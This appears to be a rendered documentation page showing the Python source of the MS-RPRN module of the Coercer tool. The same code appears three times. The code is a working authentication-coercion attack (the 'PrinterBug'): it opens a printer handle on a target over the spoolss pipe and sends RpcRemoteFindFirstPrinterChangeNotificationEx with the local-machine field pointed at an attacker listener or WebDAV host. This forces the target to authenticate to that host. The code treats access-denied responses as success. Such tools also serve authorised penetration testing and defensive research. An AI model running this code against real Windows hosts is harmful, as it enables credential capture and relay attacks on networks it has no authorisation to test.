coercer.protocols.MS_RPRN
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : MS_RPRN.py 4# Author : Podalirius (@podalirius_) 5# Date created : 9 Jul 2022 6 7 8import sys 9import random 10from coercer.utils.RPCProtocol import RPCProtocol, DCERPCSessionError 11from impacket.dcerpc.v5 import rprn 12from impacket.dcerpc.v5.dtypes import NULL 13 14 15def gen_random_name(length=8): 16 alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 17 name = "" 18 for k in range(length): 19 name += random.choice(alphabet) 20 return name 21 22 23class MS_RPRN(RPCProtocol): 24 name = "[MS-RPRN]: Print System Remote Protocol" 25 shortname = "MS-RPRN" 26 uuid = "12345678-1234-ABCD-EF00-0123456789AB" 27 version = "1.0" 28 available_pipes = [r"\PIPE\spoolss"] 29 30 def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3): 31 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d 32 # Finding credits: 33 call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65 34 if self.dce is not None: 35 tries = 0 36 while tries <= max_retries: 37 tries += 1 38 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 39 sys.stdout.flush() 40 try: 41 resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target) 42 43 request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() 44 request['hPrinter'] = resp['pHandle'] 45 request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB 46 if self.webdav_host is not None and self.webdav_port is not None: 47 request['pszLocalMachine'] = '\\\\%s@%d/%s\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3)) 48 else: 49 request['pszLocalMachine'] = '\\\\%s\x00' % listener 50 request['pOptions'] = NULL 51 if self.debug: 52 request.dump() 53 self.dce.request(request) 54 except Exception as e: 55 if "rpc_s_access_denied" in str(e): 56 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 57 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 58 return False 59 else: 60 print("\x1b[1;91m%s\x1b[0m" % str(e)) 61 if self.debug: 62 pass 63 else: 64 if self.verbose: 65 print("[!] Error: dce is None, you must call connect() first.") 66 67 @classmethod 68 def list_coerce_methods(cls): 69 return [ 70 ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None) 71 ] 72 73 def perform_coerce_calls(self, listener): 74 if listener is not None: 75 self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)
def
gen_random_name(length=8):
24class MS_RPRN(RPCProtocol): 25 name = "[MS-RPRN]: Print System Remote Protocol" 26 shortname = "MS-RPRN" 27 uuid = "12345678-1234-ABCD-EF00-0123456789AB" 28 version = "1.0" 29 available_pipes = [r"\PIPE\spoolss"] 30 31 def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3): 32 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d 33 # Finding credits: 34 call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65 35 if self.dce is not None: 36 tries = 0 37 while tries <= max_retries: 38 tries += 1 39 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 40 sys.stdout.flush() 41 try: 42 resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target) 43 44 request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() 45 request['hPrinter'] = resp['pHandle'] 46 request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB 47 if self.webdav_host is not None and self.webdav_port is not None: 48 request['pszLocalMachine'] = '\\\\%s@%d/%s\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3)) 49 else: 50 request['pszLocalMachine'] = '\\\\%s\x00' % listener 51 request['pOptions'] = NULL 52 if self.debug: 53 request.dump() 54 self.dce.request(request) 55 except Exception as e: 56 if "rpc_s_access_denied" in str(e): 57 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 58 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 59 return False 60 else: 61 print("\x1b[1;91m%s\x1b[0m" % str(e)) 62 if self.debug: 63 pass 64 else: 65 if self.verbose: 66 print("[!] Error: dce is None, you must call connect() first.") 67 68 @classmethod 69 def list_coerce_methods(cls): 70 return [ 71 ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None) 72 ] 73 74 def perform_coerce_calls(self, listener): 75 if listener is not None: 76 self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)
Documentation for class RPCProtocol
def
RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
31 def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3): 32 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d 33 # Finding credits: 34 call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65 35 if self.dce is not None: 36 tries = 0 37 while tries <= max_retries: 38 tries += 1 39 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 40 sys.stdout.flush() 41 try: 42 resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target) 43 44 request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() 45 request['hPrinter'] = resp['pHandle'] 46 request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB 47 if self.webdav_host is not None and self.webdav_port is not None: 48 request['pszLocalMachine'] = '\\\\%s@%d/%s\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3)) 49 else: 50 request['pszLocalMachine'] = '\\\\%s\x00' % listener 51 request['pOptions'] = NULL 52 if self.debug: 53 request.dump() 54 self.dce.request(request) 55 except Exception as e: 56 if "rpc_s_access_denied" in str(e): 57 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 58 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 59 return False 60 else: 61 print("\x1b[1;91m%s\x1b[0m" % str(e)) 62 if self.debug: 63 pass 64 else: 65 if self.verbose: 66 print("[!] Error: dce is None, you must call connect() first.")